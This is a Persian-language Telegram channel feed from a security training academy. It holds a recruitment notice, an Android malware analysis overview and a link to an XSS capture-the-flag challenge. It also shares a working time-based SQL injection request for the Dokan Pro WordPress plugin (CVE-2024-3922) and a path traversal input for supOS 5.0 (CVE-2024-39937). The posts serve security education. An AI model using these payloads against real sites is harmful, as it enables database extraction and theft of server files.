اطلاعیه

با سلام درود به تمامی دوستان همراهان همیشگی آکادمی کسری وان

دوستان عزیزی که درخواست داده بودند برای تدریس تا یکشنبه درخواست ها پیگیری و تست گرفته می‌شود بعد از آن باطل می‌باشد تاریخ پایان تست ۷ بهمن ماه

دعوت به همکاری در آکادمی کسری وان

آکادمی کسری وان برای تکمیل کادر مربیان خود از افراد با استعداد و انگیزه دعوت به همکاری می‌کند. اگر به دنبال فرصتی برای پیشرفت و فعالیت در این حوزه حرفه‌ای و علمی هستید، با ما همراه شوید.

برای اطلاعات بیشتر به تلگرام ما پیام دهید.

@academykasraone

#دعوت_به_همکاری #آکادمی_کسری_وان #مربی

🔴 CVE

Dokan Pro SQL-CVE-2024-3922

POST /wp-admin/admin.php?webhook=dokan-moip HTTP/1.1
Host: 127.0.0.1

{"env":"1","event":"invoice.created","resource":{"subscription_code":"11111' and (select 1 from (select sleep( if(1=1,6,0) ))x )='"}}

#exploit

♡ ⠀⠀ 〇⠀  ⠀ ⎙⠀‌  ‌ ⌲⁣
         ˡⁱᵏᵉ  ᶜᵒᵐᵐᵉⁿᵗ   ˢᵃᵛᵉ  ˢʰᵃʳᵉ

K1
                  kasraone

تحلیل بدافزارهای اندروید

تحلیل دینامیکی بدافزارهای اندروید به دلیل محدودیت‌های ابزارهای دیباگر، چالش‌برانگیزتر از بدافزارهای ویندوز است. این نوع تحلیل به بررسی رفتار نرم‌افزار در حین اجرا می‌پردازد تا آسیب‌های احتمالی بدافزارها شناسایی شود.

▎*? نکات کلیدی:*

1. چالش‌ها:
      - تحلیل بدافزارهای اندروید نیازمند ابزارها و تکنیک‌های خاصی است که به دلیل پیچیدگی‌های سیستم‌عامل دشوار است. ⚙️

2. دیباگرها:
      - این ابزارها برای بررسی کد در حین اجرا استفاده می‌شوند، اما در اندروید با محدودیت‌هایی روبه‌رو هستند. ?️

3. Frida:
      - ابزاری قدرتمند برای تحلیل و مهندسی معکوس که امکان اتصال دینامیک متدها را فراهم می‌کند، اما نظارت بر وضعیت آن‌ها دشوار است. ?

? آدرس وبلاگ

Blog

Boost

♡ ⠀⠀ 〇⠀  ⠀ ⎙⠀‌  ‌ ⌲⁣
         ˡⁱᵏᵉ  ᶜᵒᵐᵐᵉⁿᵗ   ˢᵃᵛᵉ  ˢʰᵃʳᵉ

K1
                  kasraone

?CVE

CVE-2024-39937

LINK NEWS

این CVE به مشکل امنیتی خاصی در supOS 5.0 اشاره دارد که به کمک آن افراد می‌توانند از طریق فراخوانی API با پارامتر fileName=../ به دایرکتوری های دیگر در سیستم دسترسی پیدا کنند و فایل‌های آن را بخوانند. این مشکل امنیتی می‌تواند به سرقت اطلاعات حساس منجر شود و نیازمند بروزرسانی و رفع آن است تا از سوء استفاده از آن جلوگیری شود.

api/image/download?fileName=../

♡ ⠀⠀ 〇⠀  ⠀ ⎙⠀‌  ‌ ⌲⁣
         ˡⁱᵏᵉ  ᶜᵒᵐᵐᵉⁿᵗ   ˢᵃᵛᵉ  ˢʰᵃʳᵉ

K1
                  kasraone

۴ نفر تا به الان درست بوده

و وب سایت بسته است الان انشالله تا امشب وب سایت درست و گذاشته میشود

با تشکر

*? *لینک جدیدهCTF

XSS Attack!

✅ http://challenge1kasra.iapp.ir/